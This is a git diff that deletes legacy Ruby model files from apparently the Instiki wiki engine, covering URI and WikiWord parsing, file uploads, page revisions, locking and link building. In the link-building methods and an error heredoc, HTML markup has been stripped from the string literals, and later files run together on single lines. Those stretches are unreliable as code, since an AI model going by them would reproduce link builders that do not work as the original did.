      -  unless defined? URIChunk::INTERNET_URI_REGEXP
      -
      -    GENERIC = 'aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org'
      -    
      -    COUNTRY = 'ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|az|ba|bb|bd|be|' + 
      -      'bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cf|cd|cg|ch|ci|ck|cl|' + 
      -      'cm|cn|co|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|fi|' + 
      -      'fj|fk|fm|fo|fr|fx|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|' + 
      -      'hk|hm|hn|hr|ht|hu|id|ie|il|in|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|' + 
      -      'kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|' + 
      -      'mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nt|' + 
      -      'nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|' + 
      -      'sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|' + 
      -      'tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|' + 
      -      'ws|ye|yt|yu|za|zm|zr|zw'
      -    # These are needed otherwise HOST will match almost anything
      -    TLDS = "(?:#{GENERIC}|#{COUNTRY})"
      -    
      -    # Redefine USERINFO so that it must have non-zero length
      -    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
      -  
      -    # unreserved_no_ending = alphanum | mark, but URI_ENDING [)!] excluded
      -    UNRESERVED_NO_ENDING = "-_.~*'(#{ALNUM}"  
      -
      -    # this ensures that query or fragment do not end with URI_ENDING
      -    # and enable us to use a much simpler self.pattern Regexp
      -
      -    # uric_no_ending = reserved | unreserved_no_ending | escaped
      -    URIC_NO_ENDING = "(?:[#{UNRESERVED_NO_ENDING}#{RESERVED}]|#{ESCAPED})"
      -    # query = *uric
      -    QUERY = "#{URIC_NO_ENDING}*"
      -    # fragment = *uric
      -    FRAGMENT = "#{URIC_NO_ENDING}*"
      -
      -    # DOMLABEL is defined in the ruby uri library, TLDS is defined above
      -    INTERNET_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" 
      -
      -    # Correct a typo bug in ruby 1.8.x lib/uri/common.rb 
      -    PORT = '\\d*'
      -
      -    INTERNET_URI =
      -        "(?:(#{SCHEME}):/{0,2})?" +   # Optional scheme:        (\1)
      -        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
      -        "(#{INTERNET_HOSTNAME})" +    # Mandatory hostname      (\3)
      -        "(?::(#{PORT}))?" +           # Optional :port          (\4)
      -        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
      -        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
      -        "(?:\\#(#{FRAGMENT}))?"  +    # Optional #fragment      (\7)
      -        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
      -                                      # or end of the string
      -
      -    SUSPICIOUS_PRECEDING_CHARACTER = '(!|\"\:|\"|\\\'|\]\()?'  # any of !, ":, ", ', ](
      -  
      -    INTERNET_URI_REGEXP = 
      -        Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + INTERNET_URI, Regexp::EXTENDED, 'N')
      -
      -  end
      -
      -  def URIChunk.pattern
      -    INTERNET_URI_REGEXP
      -  end
      -
      -  attr_reader :user, :host, :port, :path, :query, :fragment, :link_text
      -  
      -  def self.apply_to(content)
      -    content.gsub!( self.pattern ) do |matched_text|
      -      chunk = self.new($~, content)
      -      if chunk.avoid_autolinking?
      -        # do not substitute nor register the chunk
      -        matched_text
      -      else
      -        content.add_chunk(chunk)
      -        chunk.mask
      -      end
      -    end
      -  end
      -
      -  def initialize(match_data, content)
      -    super
      -    @link_text = match_data[0]
      -    @suspicious_preceding_character = match_data[1]
      -    @original_scheme, @user, @host, @port, @path, @query, @fragment = match_data[2..-1]
      -    treat_trailing_character
      -    @unmask_text = "#{link_text}"
      -  end
      -
      -  def avoid_autolinking?
      -    not @suspicious_preceding_character.nil?
      -  end
      -
      -  def treat_trailing_character
      -    # If the last character matched by URI pattern is in ! or ), this may be part of the markup,
      -    # not a URL. We should handle it as such. It is possible to do it by a regexp, but 
      -    # much easier to do programmatically
      -    last_char = @link_text[-1..-1]
      -    if last_char == ')' or last_char == '!'
      -      @trailing_punctuation = last_char
      -      @link_text.chop!
      -      [@original_scheme, @user, @host, @port, @path, @query, @fragment].compact.last.chop!
      -    else 
      -      @trailing_punctuation = nil
      -    end
      -  end
      -
      -  def scheme
      -    @original_scheme or (@user ? 'mailto' : 'http')
      -  end
      -
      -  def scheme_delimiter
      -    scheme == 'mailto' ? ':' : '://'
      -  end
      -
      -  def user_delimiter
      -     '@' unless @user.nil?
      -  end
      -
      -  def port_delimiter
      -     ':' unless @port.nil?
      -  end
      -
      -  def query_delimiter
      -     '?' unless @query.nil?
      -  end
      -
      -  def uri
      -    [scheme, scheme_delimiter, user, user_delimiter, host, port_delimiter, port, path, 
      -      query_delimiter, query].compact.join
      -  end
      -
      -end
      -
      -# uri with mandatory scheme but less restrictive hostname, like
      -# http://localhost:2500/blah.html
      -class LocalURIChunk < URIChunk
      -
      -  unless defined? LocalURIChunk::LOCAL_URI_REGEXP
      -    # hostname can be just a simple word like 'localhost'
      -    ANY_HOSTNAME = "(?:#{DOMLABEL}\\.)*#{TOPLABEL}\\.?"
      -    
      -    # The basic URI expression as a string
      -    # Scheme and hostname are mandatory
      -    LOCAL_URI =
      -        "(?:(#{SCHEME})://)+" +       # Mandatory scheme://     (\1)
      -        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
      -        "(#{ANY_HOSTNAME})" +         # Mandatory hostname      (\3)
      -        "(?::(#{PORT}))?" +           # Optional :port          (\4)
      -        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
      -        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
      -        "(?:\\#(#{FRAGMENT}))?" +     # Optional #fragment      (\7)
      -        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
      -                                      # or end of the string
      -  
      -    LOCAL_URI_REGEXP = Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + LOCAL_URI, Regexp::EXTENDED, 'N')
      -  end
      -
      -  def LocalURIChunk.pattern
      -    LOCAL_URI_REGEXP
      -  end
      -
      -end
      diff --git a/app/models-old/chunks/wiki.rb b/app/models-old/chunks/wiki.rb
      deleted file mode 100644
      index 840f644a..00000000
      --- a/app/models-old/chunks/wiki.rb
      +++ /dev/null
      @@ -1,141 +0,0 @@
      -require 'wiki_words'
      -require 'chunks/chunk'
      -require 'chunks/wiki'
      -require 'cgi'
      -
      -# Contains all the methods for finding and replacing wiki related links.
      -module WikiChunk
      -  include Chunk
      -
      -  # A wiki reference is the top-level class for anything that refers to
      -  # another wiki page.
      -  class WikiReference < Chunk::Abstract
      -
      -    # Name of the referenced page
      -    attr_reader :page_name
      -    
      -    # the referenced page
      -    def refpage
      -      @content.web.pages[@page_name]
      -    end
      -  
      -  end
      -
      -  # A wiki link is the top-level class for links that refers to
      -  # another wiki page.
      -  class WikiLink < WikiReference
      - 
      -    attr_reader :link_text, :link_type
      -
      -    def initialize(match_data, content)
      -      super
      -      @link_type = :show
      -    end
      -
      -    def self.apply_to(content)
      -      content.gsub!( self.pattern ) do |matched_text|
      -        chunk = self.new($~, content)
      -        if chunk.textile_url?
      -          # do not substitute
      -          matched_text
      -        else
      -          content.add_chunk(chunk)
      -          chunk.mask
      -        end
      -      end
      -    end
      -
      -    # the referenced page
      -    def refpage
      -      @content.web.pages[@page_name]
      -    end
      -
      -    def textile_url?
      -      not @textile_link_suffix.nil?
      -    end
      -
      -  end
      -
      -  # This chunk matches a WikiWord. WikiWords can be escaped
      -  # by prepending a '\'. When this is the case, the +escaped_text+
      -  # method will return the WikiWord instead of the usual +nil+.
      -  # The +page_name+ method returns the matched WikiWord.
      -  class Word < WikiLink
      -
      -    attr_reader :escaped_text
      -    
      -    unless defined? WIKI_WORD
      -      WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
      -    end
      -
      -    def self.pattern
      -      WIKI_WORD
      -    end
      -
      -    def initialize(match_data, content)
      -      super
      -      @textile_link_suffix, @escape, @page_name = match_data[1..3]
      -      if @escape 
      -        @unmask_mode = :escape
      -        @escaped_text = @page_name
      -      else
      -        @escaped_text = nil
      -      end
      -      @link_text = WikiWords.separate(@page_name)
      -      @unmask_text = (@escaped_text || @content.page_link(@page_name, @link_text, @link_type))
      -    end
      -
      -  end
      -
      -  # This chunk handles [[bracketted wiki words]] and 
      -  # [[AliasedWords|aliased wiki words]]. The first part of an
      -  # aliased wiki word must be a WikiWord. If the WikiWord
      -  # is aliased, the +link_text+ field will contain the
      -  # alias, otherwise +link_text+ will contain the entire
      -  # contents within the double brackets.
      -  #
      -  # NOTE: This chunk must be tested before WikiWord since
      -  #       a WikiWords can be a substring of a WikiLink. 
      -  class Link < WikiLink
      -    
      -    unless defined? WIKI_LINK
      -      WIKI_LINK = /(":)?\[\[\s*([^\]\s][^\]]+?)\s*\]\]/
      -      LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic))$', 0, 'utf-8')
      -      ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0, 'utf-8')
      -    end    
      -        
      -    def self.pattern() WIKI_LINK end
      -
      -    def initialize(match_data, content)
      -      super
      -      @textile_link_suffix, @page_name = match_data[1..2]
      -      @link_text = @page_name
      -      separate_link_type
      -      separate_alias
      -      @unmask_text = @content.page_link(@page_name, @link_text, @link_type)
      -    end
      -
      -    private
      -
      -    # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], 
      -    # this means a link to a picture or a file
      -    def separate_link_type
      -      link_type_match = LINK_TYPE_SEPARATION.match(@page_name)
      -      if link_type_match
      -        @link_text = @page_name = link_type_match[1]
      -        @link_type = link_type_match[2..3].compact[0].to_sym
      -      end
      -    end
      -
      -    # link text may be different from page name. this will look like [[actual page|link text]]
      -    def separate_alias
      -      alias_match = ALIAS_SEPARATION.match(@page_name)
      -      if alias_match
      -        @page_name, @link_text = alias_match[1..2]
      -      end
      -      # note that [[filename|link text:file]] is also supported
      -    end  
      -  
      -  end
      -  
      -end
      diff --git a/app/models-old/file_yard.rb b/app/models-old/file_yard.rb
      deleted file mode 100644
      index b35dda2e..00000000
      --- a/app/models-old/file_yard.rb
      +++ /dev/null
      @@ -1,58 +0,0 @@
      -require 'fileutils'
      -require 'instiki_errors'
      -
      -class FileYard
      -
      -  attr_reader :files_path
      -
      -  def initialize(files_path, max_upload_size)
      -    @files_path, @max_upload_size = files_path, max_upload_size
      -    FileUtils.mkdir_p(@files_path) unless File.exist?(@files_path)
      -    @files = Dir["#{@files_path}/*"].collect{|path| File.basename(path) if File.file?(path) }.compact
      -  end
      -
      -  def upload_file(name, io)
      -    sanitize_file_name(name)
      -    if io.kind_of?(Tempfile)
      -      io.close
      -      check_upload_size(io.size)
      -      File.chmod(600, file_path(name)) if File.exists? file_path(name)
      -      FileUtils.mv(io.path, file_path(name))
      -    else
      -      content = io.read
      -      check_upload_size(content.length)
      -      File.open(file_path(name), 'wb') { |f| f.write(content) }
      -    end
      -    # just in case, restrict read access and prohibit write access to the uploaded file
      -    FileUtils.chmod(0440, file_path(name))
      -  end
      -
      -  def files
      -    Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path)}.compact
      -  end
      -
      -  def has_file?(name)
      -    files.include?(name)
      -  end
      -
      -  def file_path(name)
      -    "#{files_path}/#{name}"
      -  end
      -
      -  SANE_FILE_NAME = /[a-zA-Z0-9\-_\. ]{1,255}/
      -
      -  def sanitize_file_name(name)
      -    unless name =~ SANE_FILE_NAME or name == '.' or name == '..'
      -      raise Instiki::ValidationError.new("Invalid file name: '#{name}'.\n" +
      -            "Only latin characters, digits, dots, underscores, dashes and spaces are accepted.")
      -    end
      -  end
      -  
      -  def check_upload_size(actual_upload_size)
      -    if actual_upload_size > @max_upload_size.kilobytes
      -      raise Instiki::ValidationError.new("Uploaded file size (#{actual_upload_size / 1024} " + 
      -              "kbytes) exceeds the maximum (#{@max_upload_size} kbytes) set for this wiki")
      -    end
      -  end
      -
      -end
      diff --git a/app/models-old/page.rb b/app/models-old/page.rb
      deleted file mode 100644
      index 5926fb85..00000000
      --- a/app/models-old/page.rb
      +++ /dev/null
      @@ -1,120 +0,0 @@
      -require 'date'
      -require 'page_lock'
      -require 'revision'
      -require 'wiki_words'
      -require 'chunks/wiki'
      -
      -class Page
      -  include PageLock
      -
      -  attr_reader :name, :web
      -  attr_accessor :revisions
      -  
      -  def initialize(web, name)
      -    raise 'nil web' if web.nil?
      -    raise 'nil name' if name.nil?
      -    @web, @name, @revisions = web, name, []
      -  end
      -
      -  def revise(content, created_at, author)
      -
      -    if not @revisions.empty? and content == @revisions.last.content
      -      raise Instiki::ValidationError.new(
      -          "You have tried to save page '#{name}' without changing its content")
      -    end
      -
      -    # Try to render content to make sure that markup engine can take it,
      -    # before addin a revision to the page
      -    Revision.new(self, @revisions.length, content, created_at, author).force_rendering
      -
      -    # A user may change a page, look at it and make some more changes - several times.
      -    # Not to record every such iteration as a new revision, if the previous revision was done 
      -    # by the same author, not more than 30 minutes ago, then update the last revision instead of
      -    # creating a new one
      -    if !@revisions.empty? && continous_revision?(created_at, author)
      -      @revisions.last.created_at = created_at
      -      @revisions.last.content = content
      -      @revisions.last.clear_display_cache
      -    else
      -      @revisions << Revision.new(self, @revisions.length, content, created_at, author)
      -    end
      -
      -    self.revisions.last.force_rendering
      -    # at this point the page may not be inserted in the web yet, and therefore 
      -    # references to the page itself are rendered as "unresolved". Clearing the cache allows 
      -    # the page to re-render itself once again, hopefully _after_ it is inserted in the web
      -    self.revisions.last.clear_display_cache
      -    
      -    @web.refresh_pages_with_references(@name) if @revisions.length == 1
      -    
      -    self
      -    
      -  end
      -
      -  def rollback(revision_number, created_at, author_ip = nil)
      -    roll_back_revision = @revisions[revision_number].dup
      -    revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip))
      -  end
      -  
      -  def revisions?
      -    revisions.length > 1
      -  end
      -
      -  def revised_on
      -    created_on
      -  end
      -
      -  def in_category?(cat)
      -    cat.nil? || cat.empty? || categories.include?(cat)
      -  end
      -
      -  def categories
      -    display_content.find_chunks(Category).map { |cat| cat.list }.flatten
      -  end
      -
      -  def authors
      -    revisions.collect { |rev| rev.author }
      -  end
      -
      -  def references
      -    @web.select.pages_that_reference(name)
      -  end
      -
      -  def linked_from
      -    @web.select.pages_that_link_to(name)
      -  end
      -
      -  def included_from
      -    @web.select.pages_that_include(name)
      -  end
      -
      -  # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
      -  def plain_name
      -    @web.brackets_only ? name : WikiWords.separate(name)
      -  end
      -
      -  # used to build chunk ids. 
      -  def id
      -    @id ||= name.unpack('H*').first
      -  end
      -
      -  def link(options = {})
      -    @web.make_link(name, nil, options)
      -  end
      -
      -  def author_link(options = {})
      -    @web.make_link(author, nil, options)
      -  end
      -
      -  private
      -
      -  def continous_revision?(created_at, author)
      -    @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at
      -  end
      -
      -  # Forward method calls to the current revision, so the page responds to all revision calls
      -  def method_missing(method_symbol)
      -    revisions.last.send(method_symbol)
      -  end
      -
      -end
      diff --git a/app/models-old/page_lock.rb b/app/models-old/page_lock.rb
      deleted file mode 100644
      index 276274e6..00000000
      --- a/app/models-old/page_lock.rb
      +++ /dev/null
      @@ -1,23 +0,0 @@
      -# Contains all the lock methods to be mixed in with the page
      -module PageLock
      -  LOCKING_PERIOD = 30 * 60 # 30 minutes
      -
      -  attr_reader :locked_by
      -
      -  def lock(time, locked_by)
      -    @locked_at, @locked_by = time, locked_by
      -  end
      -  
      -  def lock_duration(time)
      -    ((time - @locked_at) / 60).to_i unless @locked_at.nil?
      -  end
      -  
      -  def unlock
      -    @locked_at = nil
      -  end
      -  
      -  def locked?(comparison_time)
      -    @locked_at + LOCKING_PERIOD > comparison_time unless @locked_at.nil?
      -  end
      -
      -end
      \ No newline at end of file
      diff --git a/app/models-old/page_set.rb b/app/models-old/page_set.rb
      deleted file mode 100644
      index 5b298ea6..00000000
      --- a/app/models-old/page_set.rb
      +++ /dev/null
      @@ -1,89 +0,0 @@
      -# Container for a set of pages with methods for manipulation.
      -
      -class PageSet < Array
      -  attr_reader :web
      -
      -  def initialize(web, pages = nil, condition = nil)
      -    @web = web
      -    # if pages is not specified, make a list of all pages in the web
      -    if pages.nil?
      -      super(web.pages.values)
      -    # otherwise use specified pages and condition to produce a set of pages
      -    elsif condition.nil?
      -      super(pages)
      -    else
      -      super(pages.select { |page| condition[page] })
      -    end
      -  end
      -
      -  def most_recent_revision
      -    self.map { |page| page.created_at }.max || Time.at(0)
      -  end
      -
      -
      -  def by_name
      -    PageSet.new(@web, sort_by { |page| page.name })
      -  end
      -
      -  alias :sort :by_name
      -
      -  def by_revision
      -    PageSet.new(@web, sort_by { |page| page.created_at }).reverse 
      -  end
      -  
      -  def pages_that_reference(page_name)
      -    self.select { |page| page.wiki_references.include?(page_name) }
      -  end
      -  
      -  def pages_that_link_to(page_name)
      -    self.select { |page| page.wiki_words.include?(page_name) }
      -  end
      -
      -  def pages_that_include(page_name)
      -    self.select { |page| page.wiki_includes.include?(page_name) }
      -  end
      -
      -  def pages_authored_by(author)
      -    self.select { |page| page.authors.include?(author) }
      -  end
      -
      -  def characters
      -    self.inject(0) { |chars,page| chars += page.content.size }
      -  end
      -
      -  # Returns all the orphaned pages in this page set. That is,
      -  # pages in this set for which there is no reference in the web.
      -  # The HomePage and author pages are always assumed to have
      -  # references and so cannot be orphans
      -  # Pages that refer to themselves and have no links from outside are oprphans.
      -  def orphaned_pages
      -    never_orphans = web.select.authors + ['HomePage']
      -    self.select { |page|
      -      if never_orphans.include? page.name
      -        false
      -      else
      -        references = pages_that_reference(page.name)
      -        references.empty? or references == [page]
      -      end
      -    }
      -  end
      -
      -  # Returns all the wiki words in this page set for which
      -  # there are no pages in this page set's web
      -  def wanted_pages
      -    wiki_words - web.select.names
      -  end
      -
      -  def names
      -    self.map { |page| page.name }
      -  end
      -
      -  def wiki_words
      -    self.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
      -  end
      -
      -  def authors
      -    self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort
      -  end
      -
      -end
      diff --git a/app/models-old/revision.rb b/app/models-old/revision.rb
      deleted file mode 100644
      index c5f0eb8a..00000000
      --- a/app/models-old/revision.rb
      +++ /dev/null
      @@ -1,127 +0,0 @@
      -require 'diff'
      -require 'wiki_content'
      -require 'chunks/wiki'
      -require 'date'
      -require 'author'
      -require 'page'
      -
      -class Revision
      -
      -  attr_accessor :page, :number, :content, :created_at, :author
      -
      -  def initialize(page, number, content, created_at, author)
      -    @page, @number, @created_at, @author = page, number, created_at, author
      -    self.content = content
      -    @display_cache = nil
      -  end
      -
      -  def created_on
      -    Date.new(@created_at.year, @created_at.mon, @created_at.day)
      -  end
      -
      -  def pretty_created_at
      -    # Must use DateTime because Time doesn't support %e on at least some platforms
      -    DateTime.new(
      -      @created_at.year, @created_at.mon, @created_at.day, @created_at.hour, @created_at.min
      -    ).strftime "%B %e, %Y %H:%M" 
      -  end
      -
      -
      -# todo: drop next_revision, previuous_revision and number from here - unused code
      -  def next_revision
      -    page.revisions[number + 1]
      -  end
      -
      -  def previous_revision
      -    number > 0 ? page.revisions[number - 1] : nil
      -  end
      -
      -  # Returns an array of all the WikiIncludes present in the content of this revision.
      -  def wiki_includes
      -    unless @wiki_includes_cache 
      -      chunks = display_content.find_chunks(Include)
      -      @wiki_includes_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
      -    end
      -    @wiki_includes_cache
      -  end  
      -
      -  # Returns an array of all the WikiReferences present in the content of this revision.
      -  def wiki_references
      -    unless @wiki_references_cache 
      -      chunks = display_content.find_chunks(WikiChunk::WikiReference)
      -      @wiki_references_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
      -    end
      -    @wiki_references_cache
      -  end  
      -
      -  # Returns an array of all the WikiWords present in the content of this revision.
      -  def wiki_words
      -    unless @wiki_words_cache
      -      wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
      -      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
      -    end
      -    @wiki_words_cache
      -  end
      -
      -  # Returns an array of all the WikiWords present in the content of this revision.
      -  # that already exists as a page in the web.
      -  def existing_pages
      -    wiki_words.select { |wiki_word| page.web.pages[wiki_word] }
      -  end
      -
      -  # Returns an array of all the WikiWords present in the content of this revision
      -  # that *doesn't* already exists as a page in the web.
      -  def unexisting_pages
      -    wiki_words - existing_pages
      -  end  
      -
      -  # Explicit check for new type of display cache with chunks_by_type method.
      -  # Ensures new version works with older snapshots.
      -  def display_content
      -    unless @display_cache && @display_cache.respond_to?(:chunks_by_type)
      -      @display_cache = WikiContent.new(self)
      -      @display_cache.render!
      -    end
      -    @display_cache
      -  end
      -
      -  def display_diff
      -    previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content
      -  end
      -
      -  def clear_display_cache
      -    @wiki_words_cache = @published_cache = @display_cache = @wiki_includes_cache = 
      -      @wiki_references_cache = nil
      -  end
      -
      -  def display_published
      -    unless @published_cache && @published_cache.respond_to?(:chunks_by_type)
      -      @published_cache = WikiContent.new(self, {:mode => :publish})
      -      @published_cache.render!
      -    end
      -    @published_cache
      -  end
      -
      -  def display_content_for_export
      -    WikiContent.new(self, {:mode => :export} ).render!
      -  end
      -  
      -  def force_rendering
      -    begin
      -      display_content.render!
      -    rescue => e
      -      ApplicationController.logger.error "Failed rendering page #{@name}"
      -      ApplicationController.logger.error e
      -      message = e.message
      -      # substitute content with an error message
      -      self.content = <<-EOL
      -          

      Markup engine has failed to render this page, raising the following error:

      -

      #{message}

      -
      #{self.content}
      - EOL - clear_display_cache - raise e - end - end - -end diff --git a/app/models-old/web.rb b/app/models-old/web.rb deleted file mode 100644 index 0e21fc80..00000000 --- a/app/models-old/web.rb +++ /dev/null @@ -1,184 +0,0 @@ -require 'cgi' -require 'page' -require 'page_set' -require 'wiki_words' -require 'zip/zip' - -class Web - attr_accessor :name, :password, :safe_mode, :pages - attr_accessor :additional_style, :allow_uploads, :published - attr_reader :address - - # there are getters for all these attributes, too - attr_writer :markup, :color, :brackets_only, :count_pages, :max_upload_size - - def initialize(parent_wiki, name, address, password = nil) - self.address = address - @wiki, @name, @password = parent_wiki, name, password - - set_compatible_defaults - - @pages = {} - @allow_uploads = true - @additional_style = nil - @published = false - @count_pages = false - end - - # Explicitly sets value of some web attributes to defaults, unless they are already set - def set_compatible_defaults - @markup = markup() - @color = color() - @safe_mode = safe_mode() - @brackets_only = brackets_only() - @max_upload_size = max_upload_size() - @wiki = wiki - end - - # All below getters know their default values. This is necessary to ensure compatibility with - # 0.9 storages, where they were not defined. - def brackets_only() @brackets_only || false end - def color() @color ||= '008B26' end - def count_pages() @count_pages || false end - def markup() @markup ||= :textile end - def max_upload_size() @max_upload_size || 100; end - def wiki() @wiki ||= WikiService.instance; end - - def add_page(name, content, created_at, author) - page = Page.new(self, name) - page.revise(content, created_at, author) - @pages[page.name] = page - end - - def address=(the_address) - if the_address != CGI.escape(the_address) - raise Instiki::ValidationError.new('Web name should contain only valid URI characters') - end - @address = the_address - end - - def authors - select.authors - end - - def categories - select.map { |page| page.categories }.flatten.uniq.sort - end - - def has_page?(name) - pages[name] - end - - def has_file?(name) - wiki.file_yard(self).has_file?(name) - end - - def make_file_link(mode, name, text, base_url) - link = CGI.escape(name) - case mode - when :export - if has_file?(name) then "#{text}" - else "#{text}" end - when :publish - if has_file?(name) then "#{text}" - else "#{text}" end - else - if has_file?(name) - "#{text}" - else - "#{text}?" - end - end - end - - # Create a link for the given page name and link text based - # on the render mode in options and whether the page exists - # in the this web. - # The links a relative, and will work only if displayed on another WikiPage. - # It should not be used in menus, templates and such - instead, use link_to_page helper - def make_link(name, text = nil, options = {}) - text = CGI.escapeHTML(text || WikiWords.separate(name)) - mode = options[:mode] || :show - base_url = options[:base_url] || '..' - link_type = options[:link_type] || :show - case link_type.to_sym - when :show - make_page_link(mode, name, text, base_url) - when :file - make_file_link(mode, name, text, base_url) - when :pic - make_pic_link(mode, name, text, base_url) - else - raise "Unknown link type: #{link_type}" - end - end - - def make_page_link(mode, name, text, base_url) - link = CGI.escape(name) - case mode.to_sym - when :export - if has_page?(name) then %{#{text}} - else %{#{text}} end - when :publish - if has_page?(name) then %{#{text}} - else %{#{text}} end - else - if has_page?(name) - %{#{text}} - else - %{#{text}?} - end - end - end - - def make_pic_link(mode, name, text, base_url) - link = CGI.escape(name) - case mode.to_sym - when :export - if has_file?(name) then %{#{text}} - else %{#{text}} end - when :publish - if has_file?(name) then %{#{text}} - else %{#{text}} end - else - if has_file?(name) then %{#{text}} - else %{#{text}?} end - end - end - - # Clears the display cache for all the pages with references to - def refresh_pages_with_references(page_name) - select.pages_that_reference(page_name).each { |page| - page.revisions.each { |revision| revision.clear_display_cache } - } - end - - def refresh_revisions - select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } } - end - - def remove_pages(pages_to_be_removed) - pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) } - end - - def revised_on - select.most_recent_revision - end - - def select(&condition) - PageSet.new(self, @pages.values, condition) - end - - private - - # Returns an array of all the wiki words in any current revision - def wiki_words - pages.values.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq - end - - # Returns an array of all the page names on this web - def page_names - pages.keys - end - -end diff --git a/app/models-old/wiki_content.rb b/app/models-old/wiki_content.rb deleted file mode 100644 index 89cd8c45..00000000 --- a/app/models-old/wiki_content.rb +++ /dev/null @@ -1,205 +0,0 @@ -require 'cgi' -require 'chunks/engines' -require 'chunks/category' -require 'chunks/include' -require 'chunks/wiki' -require 'chunks/literal' -require 'chunks/uri' -require 'chunks/nowiki' - -# Wiki content is just a string that can process itself with a chain of -# actions. The actions can modify wiki content so that certain parts of -# it are protected from being rendered by later actions. -# -# When wiki content is rendered, it can be interrogated to find out -# which chunks were rendered. This means things like categories, wiki -# links, can be determined. -# -# Exactly how wiki content is rendered is determined by a number of -# settings that are optionally passed in to a constructor. The current -# options are: -# * :engine -# => The structural markup engine to use (Textile, Markdown, RDoc) -# * :engine_opts -# => A list of options to pass to the markup engines (safe modes, etc) -# * :pre_engine_actions -# => A list of render actions or chunks to be processed before the -# markup engine is applied. By default this is: -# Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word -# * :post_engine_actions -# => A list of render actions or chunks to apply after the markup -# engine. By default these are: -# Literal::Pre, Literal::Tags -# * :mode -# => How should the content be rendered? For normal display (show), -# publishing (:publish) or export (:export)? - -module ChunkManager - attr_reader :chunks_by_type, :chunks_by_id, :chunks, :chunk_id - - ACTIVE_CHUNKS = [ NoWiki, Category, WikiChunk::Link, URIChunk, LocalURIChunk, - WikiChunk::Word ] - - HIDE_CHUNKS = [ Literal::Pre, Literal::Tags ] - - MASK_RE = { - ACTIVE_CHUNKS => Chunk::Abstract.mask_re(ACTIVE_CHUNKS), - HIDE_CHUNKS => Chunk::Abstract.mask_re(HIDE_CHUNKS) - } - - def init_chunk_manager - @chunks_by_type = Hash.new - Chunk::Abstract::derivatives.each{|chunk_type| - @chunks_by_type[chunk_type] = Array.new - } - @chunks_by_id = Hash.new - @chunks = [] - @chunk_id = 0 - end - - def add_chunk(c) - @chunks_by_type[c.class] << c - @chunks_by_id[c.id] = c - @chunks << c - @chunk_id += 1 - end - - def delete_chunk(c) - @chunks_by_type[c.class].delete(c) - @chunks_by_id.delete(c.id) - @chunks.delete(c) - end - - def merge_chunks(other) - other.chunks.each{|c| add_chunk(c)} - end - - def scan_chunkid(text) - text.scan(MASK_RE[ACTIVE_CHUNKS]){|a| yield a[0] } - end - - def find_chunks(chunk_type) - @chunks.select { |chunk| chunk.kind_of?(chunk_type) and chunk.rendered? } - end - - # for testing and WikiContentStub; we need a page_id even if we have no page - def page_id - 0 - end - -end - -# A simplified version of WikiContent. Useful to avoid recursion problems in -# WikiContent.new -class WikiContentStub < String - attr_reader :options - include ChunkManager - def initialize(content, options) - super(content) - @options = options - init_chunk_manager - end - - # Detects the mask strings contained in the text of chunks of type chunk_types - # and yields the corresponding chunk ids - # example: content = "chunk123categorychunk
      chunk456categorychunk
